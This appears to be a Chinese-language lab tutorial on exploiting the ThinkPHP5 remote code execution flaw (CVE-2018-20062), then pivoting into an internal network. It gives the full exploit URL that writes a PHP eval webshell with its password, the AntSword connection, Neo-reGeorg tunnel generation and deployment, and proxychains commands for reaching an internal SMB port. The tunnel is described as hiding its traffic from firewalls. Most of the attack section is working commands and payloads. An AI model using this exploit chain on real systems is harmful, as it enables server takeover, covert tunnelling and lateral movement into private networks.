内网渗透之Thinkphp5提权实战+reGeorg代理横向移动(CVE-2018-20062)
本文介绍了利用ThinkPHP5.0远程代码执行漏洞(CVE-2018-20062)进行内网渗透的全过程。首先通过TP5的RCE漏洞上传webshell,获取服务器控制权;然后部署reGeorg隧道脚本(tunnel.php)建立加密代理通道;最后配置proxychains实现内网横向移动,成功访问内网192.168.100.33的445端口。整个过程包含漏洞利用、隧道建立和内网渗透三个阶段,通过
目录
本文讲解内网渗透之Thinkphp5提权实战+reGeorg代理横向移动。如下流程图所示,整体分为如下步骤。
-
漏洞利用阶段:攻击者通过ThinkPHP5的RCE漏洞(CVE-2018-20062)
invokefunction在目标服务器上植入reGeorg的隧道脚本(tunnel.php),为后续代理通信建立基础。 -
隧道建立阶段:利用植入的
tunnel.php脚本,攻击者通过reGeorg客户端(neoreg.py)与服务端建立加密的HTTP/SOCKS5代理隧道,所有通信流量伪装成正常HTTP请求以绕过检测。 -
内网渗透阶段:攻击者通过本地代理(如
proxychains)将内网探测或攻击流量(如访问192.168.100.33:445)经隧道脚本转发至目标内网,实现隐蔽的横向移动,全程流量加密且难以被防火墙识别。

sequenceDiagram
participant Attacker as 攻击者(Kali)
participant TP5_Server as ThinkPHP5服务器<br>(含tunnel.php)
participant Internal as 内网目标(192.168.100.33:445)
Note over Attacker: 阶段1:植入reGeorg隧道脚本
Attacker->>TP5_Server: 发送恶意HTTP请求<br/>(利用RCE写入tunnel.php)
TP5_Server-->>Attacker: 返回写入成功响应
Note over Attacker: 阶段2:建立代理隧道
Attacker->>TP5_Server: 启动加密连接<br/>(neoreg.py -k密码 -u http://server/tunnel.php)
TP5_Server->>TP5_Server: 启动tunnel.php监听
Note over Attacker: 阶段3:内网渗透
Attacker->>TP5_Server: 发送代理请求<br/>(proxychains telnet 192.168.100.33 445)
TP5_Server->>Internal: 转发请求到内网445端口
Internal->>TP5_Server: 返回SMB服务响应
TP5_Server->>Attacker: 加密HTTP响应
一、ThinkPHP5.0 远程代码执行漏洞(RCE)
ThinkPHP5(TP5)是一款广泛使用的PHP开发框架,ThinkPHP5 5.0 远程代码执行漏洞是一个较为严重的安全漏洞(CVE-2018-20062)。
- 漏洞影响范围:ThinkPHP 5.0.5 - 5.0.23 版本受到影响。
- 漏洞产生原因:该漏洞主要是由于 ThinkPHP5 框架对控制器名没有进行足够的安全检测。在没有开启强制路由的情况下(默认不开启),攻击者可以构造特定的请求,通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,框架在解析 URL 时只是简单地将 URL 按分割符分割,没有对控制器名进行严格的过滤,当攻击者控制路由中的控制器名部分,且该控制器名以反斜线 “\” 开始时,就可以直接将其作为类名进行实例化,从而实现对任意类的实例化和方法调用,进而执行恶意代码。
- 漏洞利用方式:攻击者可以构造类似 “index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars (0)=system&vars (1)()=id” 这样的 URL,通过调用 file_put_contents 等函数将恶意代码写入文件,或者直接调用 system 等函数执行系统命令,从而获取服务器的权限。
- 漏洞危害:该漏洞危害巨大,攻击者可以利用它远程执行任何代码和命令,例如获取服务器敏感信息、篡改网站内容、植入后门程序等,进而导致服务器被控制,数据泄露,给网站和用户带来严重的安全风险。
二、reGeorg原理
reGeorg 是一个基于 HTTP/HTTPS 的 SOCKS 代理工具,常用于 内网穿透 和 隐蔽隧道 通信。它是 reDuh 的升级版,主要用于绕过防火墙限制,实现内网代理访问。
1、角色
nps采用C/S 架构(客户端 - 服务器架构),包含两个核心程序:
- 服务端
- 运行在目标 Web 服务器上的脚本(如 JSP/PHP/ASPX),负责接收客户端请求并代理内网流量。
- reGeorg 支持多种 Web 语言,常见脚本:
-
tunnel.jsp(Java Web) -
tunnel.php(PHP) -
tunnel.aspx(ASP.NET) -
tunnel.ashx(ASP.NET Handler)
-
- 客户端
-
运行在攻击者机器上的 Python 脚本(
reGeorgSocksProxy.py),负责:-
建立本地 SOCKS 代理端口。
-
将本地代理流量封装成 HTTP 请求,发送给服务端。
-
python reGeorgSocksProxy.py -u http://服务端ip/tunnel.php -p 12347(典型命令)
-
-
核心功能
-
用户通过客户端工具指定服务端 URL(如
http://target.com/tunnel.php)和本地监听端口(如 12347) - 客户端在本地启动 SOCKS 代理服务并监听指定端口(如配置
127.0.0.1:12347代理)。 - 本地应用程序(如浏览器、SSH 客户端)通过 SOCKS 代理发送请求,流量被客户端捕获。
- 客户端将代理流量编码为 HTTP 请求,发送给服务端。
- 客户端接收服务端的响应,解码后通过本地监听端口返回给应用程序,完成一次数据交互。
-
-
2、工作流程
(1)上传隧道脚本
攻击者需要在目标 Web 服务器上上传一个 隧道脚本(如 tunnel.jsp、tunnel.php),该脚本负责:
-
接收来自客户端的 HTTP 请求。
-
解析请求数据,提取 SOCKS 代理的流量。
-
将流量转发到内网的目标机器(如数据库、SSH、RDP 等)。
(2)客户端连接
攻击者在本机运行 reGeorgSocksProxy.py,并指定目标 Web 服务器的隧道脚本 URL,例如:
python reGeorgSocksProxy.py -u http://target.com/tunnel.php -p 12347
-
-u:指定隧道脚本的 URL。 -
-p:本地 SOCKS 代理端口(默认1080)。
(3)通信流程
-
客户端(攻击者) 发送 HTTP 请求到 Web 服务器的隧道脚本(如
tunnel.php)。 -
隧道脚本 解析请求,提取 SOCKS 代理数据,并转发到 内网目标(如
192.168.1.100:3389)。 -
内网目标 返回数据,隧道脚本封装成 HTTP 响应,返回给客户端。
-
客户端 接收到数据后,通过本地 SOCKS 代理(如
127.0.0.1:12347)访问内网服务。
三、ThinkPHP5.0提权
1、信息搜集
打开目标主机的web网址,如下所示提示为thinkphp5框架,该版本有远程代码执行漏洞。
http://10.33.47.100/

2、上传shell
(1)渗透原理
攻击利用了 ThinkPHP5(TP5)的远程代码执行(RCE)漏洞,具体利用方式如下:
-
漏洞点:
think\app/invokefunction动态方法调用,未严格过滤用户输入。 -
攻击方式:通过
call_user_func_array调用file_put_contents,写入恶意 PHP 文件(WebShell)。
(2)渗透方法
构造恶意 URL 调用 invokefunction 方法,借助 call_user_func_array 动态执行 file_put_contents,在网站根目录写入名为 mooyuan.php 的 WebShell(密码 ljn),攻击者后续可通过 POST 请求发送任意 PHP 代码(如 system('id'))实现远程命令执行,最终完全控制服务器。
http://10.33.47.100/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=mooyuan.php&vars[1][]=<?php eval($_POST[ljn]);?>
| 参数 | 作用 |
|---|---|
s=index/think\app/invokefunction |
调用 TP5 的 invokefunction 方法,允许执行任意函数 |
function=call_user_func_array |
调用 call_user_func_array,动态执行函数 |
vars[0]=file_put_contents |
指定执行的函数为 file_put_contents(写入文件) |
vars[1][]=mooyuan.php |
写入的文件名(mooyuan.php) |
vars[1][]=<?php eval($_POST[ljn]);?> |
写入的内容(一句话木马,密码 ljn) |

3、连接蚁剑
连接蚁剑,URL为http://10.33.47.100/mooyuan.php,密码为ljn,点击测试连接,如下所示提示连接成功。

四、reGeorg横向移动
1、reGeorg生成密钥
(1)基本语法
Neo-reGeorg(reGeorg 的升级版)的密钥生成命令,用于创建加密隧道所需的密钥文件,增强通信隐蔽性,具体语法如下所示,执行该命令后,脚本会生成带有指定密钥(123456)的服务端隧道文件(如 tunnel.php),后续可将该文件部署到目标 Web 服务器,客户端连接时需使用相同密钥才能建立隧道。(若未指定 -k,则生成随机密钥)。
python neoreg.py generate -k mysecretkey
-
generate:生成密钥文件(默认key.txt)。 -
-k(可选参数):支持自定义密钥(如-k mypassword),不指定则自动生成随机密钥。
(2)密钥生成实战
使用python neoreg.py generate -k password命令生成密钥,效果如下所示。

python neoreg.py:调用 Python 解释器执行neoreg.py脚本(neoreg 是 reGeorg 的增强版工具,功能类似但更灵活)。generate:指定操作模式为 “生成服务端脚本”,用于创建可部署到目标 Web 服务器的隧道脚本(如 PHP、ASPX、JSP 等)。-k password:-k是指定加密密钥的参数,这里设置密钥为password。该密钥用于客户端与服务端通信时的流量加密,避免隧道数据被明文捕获,增强隐蔽性。
2、上传PHP服务端脚本
由于本文的web服务为php,将生成的tunnel.php上传到服务器中,效果如下所示。



由于tunnel.php被上传到网址的根目录中,故而上传后tunnel.php脚本的web访问路径如下所示。
http://10.33.47.100/tunnel.php
3、攻击机连接已上传脚本文件
在已获取目标 Web 服务器控制权并部署好服务端脚本(tunnel.php)后,在攻击机中执行如下命令建立隧道。
python3 neoreg.py -k password -u http://10.33.47.100/tunnel.php
-
-k password-
使用密钥
password加密客户端与服务端(tunnel.php)之间的通信流量。 -
若不加密:流量明文传输,易被防火墙/WAF 检测。
-
密钥一致性:必须与
tunnel.php中配置的密钥相同,否则无法解密。
-
-
-u http://10.33.47.100/tunnel.php-
指定目标服务器上部署的隧道脚本(需提前上传)。
-
支持的脚本类型:
tunnel.php、tunnel.jsp、tunnel.aspx等。 -
脚本作用:接收客户端流量,转发到内网目标(如 RDP/SSH)。
-
-
-p 12347-
在攻击者本地启动一个 SOCKS5 代理,监听
127.0.0.1:12347。 -
用户可通过配置浏览器或工具(如
proxychains)使用该代理
-

4、攻击机配置代理
(1)修改 proxychains 配置文件
编辑配置文件 /etc/proxychains4.conf,找到 [ProxyList] 部分,添加你的 SOCKS5 代理(例如本地 12347 端口)。
[ProxyList]
socks5 127.0.0.1 12347
(2)通过 proxychains 运行命令
在需要代理的命令前加上 proxychains,例如:
proxychains curl http://内网IP
proxychains nmap -sT -Pn 内网IP
proxychains firefox # 启动浏览器走代理
5、攻击机横向渗透
使用telnet 命令测试访问内网靶机,如下所示连接成功。
proxychains telnet 192.168.100.33 445
-
proxychains加载代理配置(默认/etc/proxychains4.conf)-
检查
[ProxyList]部分,找到代理设置(如socks5 127.0.0.1 1080)。 -
所有后续流量(
telnet)将通过该代理转发。
-
-
telnet 192.168.100.33 445-
尝试与
192.168.100.33:445建立 TCP 连接。 -
445 端口 通常运行 Windows SMB 服务(文件共享/远程执行)。
-
-
代理转发流量
-
本地 → 代理服务器(如
127.0.0.1:1080)→ 目标192.168.100.33:445。 -
如下所示Telnet连接成功,说明代理配置正确,且目标端口开放。
-

更多推荐


所有评论(0)